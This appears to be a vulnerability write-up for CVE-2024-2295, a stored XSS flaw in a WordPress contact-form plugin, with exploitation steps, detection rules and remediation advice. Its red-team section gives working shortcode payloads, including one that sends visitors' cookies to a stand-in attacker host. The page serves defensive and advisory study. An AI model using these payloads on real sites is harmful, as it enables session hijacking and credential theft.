CVE-2024-2295
Executive Summary
CVE-2024-2295 is a Stored Cross-Site Scripting (XSS) vulnerability in the Contact Form Manager plugin for WordPress, affecting all versions up to and including 1.6.1. The flaw resides in the [xyz-cfm-form] shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least contributor-level permissions can inject arbitrary JavaScript into pages. When any user (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no official fix has been released by the vendor (Xyz-maps).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. It does not affect the core WordPress application or server software like Apache or Nginx. The attack surface is limited to sites running the vulnerable plugin with contributor-level or higher user roles.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for privilege escalation via session hijacking elevate the real-world risk. The lack of a patch makes it a persistent threat.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in a WordPress shortcode. The [xyz-cfm-form] shortcode allows users to embed a contact form. The plugin fails to sanitize or escape user-supplied attributes within the shortcode. An attacker with contributor-level access can create a post or page containing a malicious shortcode like:
[xyz-cfm-form name="<script>alert('XSS')</script>"]
When the page is rendered, the name attribute is output directly into the HTML without proper escaping, causing the script to execute. Because the payload is stored in the database, it persists and executes for every visitor.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates a new post or page.
- Attacker inserts the malicious shortcode with a JavaScript payload.
- The post is saved (published or pending review).
- Any user visiting the page triggers the XSS payload.
- The payload can steal cookies, redirect users, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 1.6.1): The plugin likely outputs the shortcode attribute directly without escaping. Example (pseudo-code):
echo '<div class="xyz-cfm-form" data-name="' . $atts['name'] . '">';
Patched Code (hypothetical):
A proper fix would use WordPress's esc_attr() function:
echo '<div class="xyz-cfm-form" data-name="' . esc_attr($atts['name']) . '">';
Since no official patch exists, users must apply a virtual patch via a Web Application Firewall (WAF) or disable the plugin.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Contact Form Manager plugin <= 1.6.1
- Contributor-level account
Exploit Steps:
- Log in as a contributor.
- Create a new post.
- In the text editor, insert the following shortcode:
[xyz-cfm-form name="<img src=x onerror=alert(document.cookie)>"] - Publish the post.
- When an admin visits the post, the JavaScript executes, displaying their cookies.
Advanced Payload (Session Hijacking):
[xyz-cfm-form name="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
Blue Team (Detection & Prevention)
Detection:
- Monitor for posts containing the string
[xyz-cfm-formin the content. - Look for unusual shortcode attributes containing
<script>oronerrorpatterns. - Use WAF rules to block requests with XSS patterns in shortcode attributes.
Prevention:
- Disable the plugin until a patch is available.
- Restrict contributor-level accounts from using shortcodes (via user role editor).
- Apply a virtual patch using a WAF (e.g., Wordfence, Cloudflare).
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/xyz-maps/xyz-cfm-form.php(or similar) - Database: Posts/pages containing
[xyz-cfm-formwith suspicious attributes - Network: Outbound requests to attacker-controlled domains (if payload exfiltrates data)
- Logs: WordPress audit logs showing creation of posts with shortcodes by contributor-level users
Detection Engineering
YARA Rule
rule CVE_2024_2295_Stored_XSS {
meta:
description = "Detects malicious shortcode attributes in Contact Form Manager plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-2295"
strings:
$shortcode = /\[xyz-cfm-form\s+[^\]]*?(<|%3C|\\x3C)[^\]]*?/
$xss_payload = /(onerror|onload|onclick|onmouseover)\s*=\s*["']?[^"']*?script/i
condition:
$shortcode and $xss_payload
}
Sigma Rule
title: CVE-2024-2295 Stored XSS in Contact Form Manager
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects posts containing malicious shortcode attributes
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
post_content|contains: '[xyz-cfm-form'
post_content|re: '(<|%3C|\\x3C).*?(onerror|onload|onclick|onmouseover)'
condition: selection
falsepositives:
- Legitimate use of shortcode with safe attributes
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-2295 Stored XSS in Contact Form Manager"; flow:to_server,established; content:"[xyz-cfm-form"; nocase; pcre:"/<|%3C|\\x3C.*?(onerror|onload|onclick|onmouseover)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review all posts/pages created by contributor-level users for malicious shortcodes.
- Change all passwords if session hijacking is suspected.
Long-term Fix:
- Monitor the vendor's website for an official patch.
- Apply a virtual patch via WAF (e.g., Wordfence rule to block
[xyz-cfm-formwith XSS patterns). - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Workaround:
- Use a user role editor plugin to disable shortcode usage for contributor and author roles.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.